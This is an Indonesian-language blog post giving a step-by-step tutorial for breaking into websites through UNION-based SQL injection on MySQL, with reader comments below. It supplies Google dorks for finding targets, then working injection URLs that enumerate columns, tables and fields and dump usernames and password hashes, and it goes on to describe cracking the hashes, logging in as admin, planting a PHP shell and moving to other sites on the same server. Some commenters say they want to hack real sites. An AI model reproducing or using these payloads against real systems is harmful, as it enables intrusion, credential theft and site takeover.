Filename | Hacking Website With SQL Injection |
Permission | rw-r--r-- |
Author | tes |
Date and Time | 17.05 |
Label | kahfiehudson| sql injection |
Action |
Hacking Website With SQL Injection
Penulis : kahfiehudson
Oke disini gue bukan untuk bermaksud menggurui tapi gue bakal share
cara hack situs pake cara sql injection yang gue dapet dari beberapa forum n’ gue edit-edit + gue
gabungin jadi 1 spaya mudah di mengerti (menurut gue). Oh iya sorry nih ga ada gambarnya :D Oke langsung aja deh kalo gitu :D. 1 Lagi tutorial ini HANYA UNTUK PEMBELAJARAN bukan untuk DI SALAH GUNAKAN oke J
Pengertian SQL INJECTION :
SQL injection adalah sebuah aksi hacking yang dilakukan di
aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori
aplikasi client dan juga merupakan teknik
mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk
penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql :
karakter: ' atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )
1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql
injection. Misalnya inurl:”index.php?id=” search dengan om GOOGLE, misalkan kita mendapatkan
alamat situs
http://www.target.com/index.php?id=4
Lalu untuk mengetahui suatu
web memiliki bug SQL injection, tambahkan sebuah tanda petik pada akhir url,
sehingga urlnya menjadi
http://www.target.com/index.php?id=4’
lalu tekan enter dan apa yang terjadi pada situs tersebut?
Situsnya menampilkan pesan error, berarti parameter id
tidak di filter dengan baik atau bahkan tidak
difilter sama sekali. Untuk mengetahui suatu
web aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan
perintah and+1=1--
Ketika di tambahkan
parameter +and+1=1-- pada akhir URL, situsnya tampil dengan normal karena 1=1 menghasilkan nilai
true.
http://www.target.com/index.php?id=4+and+1=1--
Dan ketika di tambahkan
parameter +and+1=2-- isi berita tidak dapat
ditampilkan karena 1=2 hasilnya false dan ini
membuktikan bahwa web aplikasi tersebut 99.9% memiliki bug SQL Injection
http://www.target.com/index.php?id=4+and+1=2--
2. Cari Column Yang Memiliki
Celah Injection
Setelah saya tau bahwa web tersebut
memiliki Bug SQL Injection saya harus mencari tau nama table dan column, tapi sebelum itu saya
harus mencari tau pada column ke berapa saya bisa melakukan Injection, untuk
itu saya menggunakan perintah +order+by+ perhatikan url berikut.
http://www.target.com/index.php?id=4+order+by+1--
http://www.target.com/index.php?id=4+order+by+2--
http://www.target.com/index.php?id=4+order+by+3--
http://www.target.com/index.php?id=4+order+by+4--
http://www.target.com/index.php?id=4+order+by+5--
url diatas jika di coba satu persatu akan menampilkan
situsnya secara normal. Tapi ketika saya menginputnya dengan order+by+6--
apa yang terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut
bisa dipastikan terdapat 5 buah column yang terdapat disalah satu table yang
belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-- saja.
3. Gunakan Perintah
Union Select
Setelah saya mengetahui
terdapat 5 buah column pada target, selanjutnya yaitu mencari column yang bisa
dilakukan injeksi. Untuk itu saya menggunakan perintah +union+select+ (pakai union all select juga bisa koq) sehingga
urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--
Dan apa yang tampak di
browser tidak ada yang aneh bukan? situsnya tampil dengan normal. Tetapi jika parameter id saya
ganti menjadi -4 yang pastinya tidak ada isi data -4 di Database.
http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--
Oke disini browser menampilkan angka 2 & 3, dan angka inilah
yang sering disebut dengan angka ajaib, karena angka tersebut
adalah letak column dimana attacker bisa melakukan injeksi lebih lanjut.
4. Cari informasi Database
Target
Dengan tampilnya angka ajaib
tersebut anda bisa 'mengintip'
beberapa informasi seperti nama database, nama user database, versi database,
sessi user dll. Untuk melihat nama database,
injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--
Dan disini browser menampilkan nama
database yaitu xyb_injector. Saya mencoba mengintip
lagi nama user database pada situs tersebut dengan menginjeksinya pada column
ke-2 dan versi pada column ke-3 dan url injeksinya menjadi :
http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--
Ternyata user dabasenya root@localhost
dan beruntung sekali karena versi mysql yang di gunakan adalah versi 5.0.51a-community, lho emang
kenapa kalo versi 5??? Karena bisa
dilanjutin bacanya :D, kalo misalkan versi 4 tinggalin aja
deh, cari target baru, hahahaha ?.
Coba anda perhatikan, anda
hanya bisa meng-injeksi satu perintah pada satu column. Bisakah meng-injeksi lebih dari satu perintah pada satu
colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan
perintah yang sudah disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user dan nama
database pada column ke-2 dan pada column ke-3 saya mengintip versi
databasenya.
http://www.target.com/index.php?id=4+union+select+1,concat(user(),0x3a,database()),version(),4,5--
5. Dapatkan Nama Table
Saya sudah mendapatkan
informasi database web tersebut, sebenarnya yang saya butuhkan hanyalah versi
databasenya saja, seperti yang sudah anda lihat, versi database yang
ditampilkan adalah 5.0.51a-community
dan tentu ini memudahkan saya dalam mendapatkan table dengan menggunakan
perintah table_name pada column yang memiliki bug yaitu
angka 2 atau 3 pada
web tersebut. Di akhir statement tambahkan from+information_schema.tables+where+table_schema=database()+limit+0,1--
Sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from+information_schema.tables+where+table_schema=database()+limit+0,1--
Di
web tersebut tampil sebuah table bernama "table_attacker".
Untuk melihat seluruh table sekaligus gunakan
perintah group_concat(table_name) pada column yang memiliki
bug, sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--
Hihihi sip, seluruh table berhasil saya dapatkan,
diantara table tersebut, table manakah yang harus saya telusuri lebih jauh
lagi??? table_user sepertinya
menarik :P yuk kita lihat apa isinya.
6. Dapatkan Nama Column
table_user sudah saya dapatkan
selanjutnya yaitu mencari nama column pada table tersebut, untuk itu saya
menggunakan perintah group_concat(column_name) sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak
kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara
mengkonversinya. Salah satu website yg digunakan untuk konversi :
http://www.string-functions.com/string-hex.aspx
Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi 0x7461626c655f75736572 dan inilah yang
akan kita injeksikan pada nama tabel. Sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x7461626c655f75736572--
Alhasil nama column dari table_user
sudah saya dapatkan yaitu user_id dan password_id.
7. Dapatkan Usename &
Password
Saya sudah mendapatkan nama
table “table_user” yang berisi 2 buah column yaitu “user_id” dan “password_id” dan akhirnya anda sudah
sampai di detik-detik terakhir yaitu menampilkan isi data dari column tersebut.
Tambahkan 0x3a pada group_concat(hasil isi column
yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah +from+(nama table berasal) à dimasukkan setelah angka terakhir
sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0x3a,password_id),4,5+from+table_user--
Tampillah seluruh username dan password dari situs tersebut. Biasanya password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang menyediakan cracking password atau dengan tool cracking password. Setelah itu anda tinggal mencari halaman log in admin dan masuki sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga semua website yang berada dalam 1 server yang sama dengan website yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut, berbahaya sekali bukan?
Referensi : Explore Your Brain and Indonesian
Coder
My Team :
Bekasi Cyber Community,
Indonesian Hacker Team, Javahack
Thank’s To :
Bekasi Cyber
Community, CyberForum-Online, Indonesian Hacker Team, Indonesian Security, Medan Hackers, Palembang Hacker Link, Muslim Hackers, Soldier
Of Allah, Codenesia, Xcode, Hacker Newbie, Forum Balikita, Devilzc0de, Jasakom,
All Indonesian Hackers Forum, All Indonesian Defacer, and YOU.
7 komentar:
Keren banget INFOnya coba dulu ahh.., pgn hack website joki game FB :)
taratengkyu very muach-muah :)
mantab (y) . . . . .
udah ane coba tapi nggak fungsi tutorialnya di tengah, tapi makasih atas infonya
masih bisa kok mungkin dari entenya ada yang salah :)
Keren pingin nyoba nih
Gan kalo parameternya bukan id misal : http://www.target.com/index.php?act=4 bisa gak?
Posting Komentar